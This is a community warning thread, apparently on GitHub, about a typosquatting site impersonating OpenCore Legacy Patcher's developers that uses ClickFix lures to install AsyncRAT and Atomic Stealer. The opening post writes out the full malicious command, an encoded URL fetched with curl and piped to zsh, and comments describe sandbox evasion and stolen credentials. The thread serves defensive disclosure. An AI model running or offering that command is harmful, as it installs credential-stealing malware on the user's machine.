opencorelegacypatcher.org is a typosquatting and a malvertising site impersonating Dortania to launch ClickFix attacks and install Atomic Stealer, previously it delivered AysncRAT
Before I start explaining about this typosquatting, malvertising site that tries to impersonate Dortania, here are the only legitimate sources:
OpenCore Legacy Patcher (Dortania):
https://dortania.github.io/OpenCore-Legacy-Patcher/
https://github.com/dortania/OpenCore-Legacy-Patcher/
OpenCore Legacy Patcher T2:
https://github.com/albert-mueller/OpenCore-Legacy-Patcher-T2/
OCLP-Plus: https://github.com/YBronst/OCLP-Plus (builds EFIs only for Hackintoshes, not Macs)
OCLP-R: https://github.com/hackdoc/OCLP-R
OCLP-Lzhoang2801-amfipassbeta: https://github.com/kgp-macPro/OCLP-lzhoang2801-amfipassbeta (builds only EFIs for Hackintoshes, not Macs)
The typosquatting site looks so convincing to end users:
And clicking on any link leads to a ClickFix attack:
First, it directs to this page (I disabled the internet in the picture below so you can see to which URL it leads before it has redirected):
and then, it redirects to this page to the actual ClickFix attack:
and asks the user to execute the command curl -s $(echo "aHR0cHM6Ly9zYXRpbi10aHJlYWQuY29tL2N1cmwvM2UxYWQ4ZTQ5YTM4MjIwMjU1NmYyNmI5MzZlMTMyNzc5MDJkMGM2ZDQ4NjEzZmZjNGJlNDE5Mzk0NWYyZWQ3OQ==" | openssl base64 -d -A) | zsh inside Terminal - this is 100% malicious. t, don't try to execute this command outside AnyRun, Triage or a testing virtual machine for testing malware - otherwise, you're pwnd.
If trying to open About Us, Blog or Write about us, it follows this chain:
First, it opens this URL:
https://oundhertobeconsist.org/S2FaT0x0AilyLg03CSsgBQcAIhYDOwx%2BICpRCCIUeTM9G34ORzstOHZRfD0pL1xraT8mXGt5aiBcOD0pKhUyKml5USk7Pi4SKWp%2BexI3ICM%2FCX99fCgONDs%2BJA1%2FfXwqAzU6OG5TajgkKhV%2FfXwuGTssOCcYf318Ow4tKj4tFDZqfnsUNCMjKAopan57DTUhKy4Tf318KgYzIStuU2oiJSUIf318IwQ2Pz9uU2o9KTsNOywpblNqPC0tBDY2aXlRNyAoIgcjJiIsRGh%2FPDkOOSo%2FOERofzk4CDQoaXlROCAjPw01LiguE399fCcELjslJQZ8OXF6T2l7YnhZdHhqOBUpcnxtESghcXtHPyIudlF8OyUvXGt9fnJQbHpqORkjcn19UWoQdXtRfCYiKFxre2o%2BXGN%2FdXJWan5%2Bc1JtfnR8WXwuKy4CZ357c1Jqe39zVWhpKjhca2kqIg0%2FcgM7BDQMIzkEf318BwQ9Li8yRGh%2FHCoVOScpOUcoKip2CS47PDhEaQ5peSd%2FfQokET8hLyQTPyMpLAA5NjwqFTknKTlPNT0rblMcaSg4FTZyJD8VKjxpeCB%2FfQpuUxwgPC4POSA%2BLg0%2FKC0oGCouOCgJPz1iJBM9an4NFigmOC5MPCA%2BZhQpan4NRzA8OHZRfCoiOVxqaSAoFDtyISQbMyMgKkRoCXllUX99fGMMOywlJRU1PCRuUhhqfnsINDspJ0RofyEqAn99fCQSf318M0Rof317Pmt6E3xIf318KhEqIyk8BDgkJT9EaAl5eFZ0fHpuU2pnJyMVNyNpeSJ%2FfXwnCDEqaXlRPSovIA5zan57AjI9IyYEf30KelRqYXxlUXR%2FaXlRKS4qKhMzan4NVGl4YnhXfDs2L1xpaTknDjlyKC5MHgppeSI4KGoiB2d%2FaigVZ35qKBU5cnttPmg8dS1ca3h0eFFueXxzWW56dG0ULj19dlFqdXx7W2p3aj4VKH1xf1B8Ojg5Umd%2Faj4VKHtxe0cvOz5%2BXGppOT8TbHJ8bRQuPXt2UXw5LScIPnJ9
Then it shows this:
and then opens AliExpress
Only by disabling temporarily internet connection and then opening these menus only then it opens the real menu instead of AliExpress:
This is a clear obfuscation technique so they never get reported. The address:
Head Office
1998 Abia Martin Drive, Garden City, NY 11530
that address points to a house, not to an office:
And also, the email address is a personal Gmail account, which is not always a red flag: cloudcorex4@gmail.com , but in this case, it is since the official developers list only Discord and X as their official communication channels, and in this project, GitHub Discussions.
Comments
@albert-mueller · · edited
I have a difficult time to open this ClickFix attack inside Triage, because the website is designed to detect if it runs in a sandbox like Triage and if so, then it redirects to Opera’s official website. I haven’t tried to enable proxy or VPN yet.
@albert-mueller · · edited
Here's triage: https://tria.ge/260703-qjqavshz5s/behavioral1 - however, it thinks there is also phishing, but there is no phishing, the page when it sees a sandbox, it redirects to a legitimate website and the only way to workaround this was to enter into my Google Account, then open Google Keep and copy-paste the command from my MacBook out from the ClickFix website to avoid this. By the way, it's not OCLP at all, it’s malware trying to steal passwords, OpenSSL sessions and gain access to files on the computer. And that malware is AsyncRAT.
@albert-mueller ·
https://www.reddit.com/r/OpenCoreLegacyPatcher/s/fLXWUlRxad
@albert-mueller · · edited
The moderator in Reddit just filled DMCA takedown notice and abuse report. So now, I’m waiting for this website to be taken down.
@albert-mueller ·
Update: now clicking on any button like Blog now leads to the ClickFix attack and changed the payload, and even changed the ClickFix website.
Bildschirmaufnahme.2026-07-12.um.23.54.21.mov
@albert-mueller ·
These bitches upped their game. The AsyncRAT payload is down, and another is up that delivers Atomic Stealer instead. They literally took the AsyncRAT payload down a couple of minutes ago. https://youtu.be/2FpdgdCBu-E
And also tria.ge: https://tria.ge/260712-zsby9sgz4r/behavioral1
@albert-mueller · · edited
The AsyncRAT is down but now this site delivers 2 different AMOS stealers, the other one that I analyzed steals cookies from Telegram Chrome, Chromium, Firefox, Safari, Binance and even the password for your computer.
https://www.youtube.com/watch?v=td3PdpaXC1k
https://tria.ge/260712-16hjmsbv2y/behavioral1
@perez987 · · edited
@albert-mueller
Than you!!!
@albert-mueller ·
@albert-mueller · · edited
Are you running this website on iPhone? Then they have a payload inside the App Store on iOS via malvertising instead:
https://apps.apple.com/bg/app/webshield-vpn-private-secure/id6743115390
No legitimate website would ever popup to install a VPN just like this one. This is likely to inject malware over VPN.
@albert-mueller ·
And this what's looking like a website playing video is actually not a video at all; it's a picture below a UI element that shows this popup.
@albert-mueller ·
And by the way, the buttons themselves serve hidden ads. When you click on it, you've clicked on a hidden malicious ad. The iframe itself also is a hidden button that drives as well malvertising. For security researchers, here's the typosquatting site archived for doing security research:
opencorelegacypatcher.org.zip
@albert-mueller ·
You are running this website on a Windows PC instead? They also have a Windows payload as well. https://tria.ge/260729-3xtawsysgy/behavioral1
@Skrimi-max ·
When i checked the website on my windows pc the downloads actually go to the official github downloads, they know that something is going on and trying to hide it, also the adblocker can't block the specific ad that is shown in the picture, maybe it is just a redirect link disguised as ad so adblocker won't detect it
@albert-mueller · · edited
What you’re seeing in the code is a trick attackers use - the button leads to the official page, while the button is actually hijacked and instead of going to Dortania’s repo, it opens a malicious ad. At the end, their goal is to look the button legit while it is actually hijacked.
@Skrimi-max
@albert-mueller · · edited
The site is still up and running unfortunately.
@gandolf243 ·
Let's hope that this gets removed soon
@albert-mueller ·
I hope so too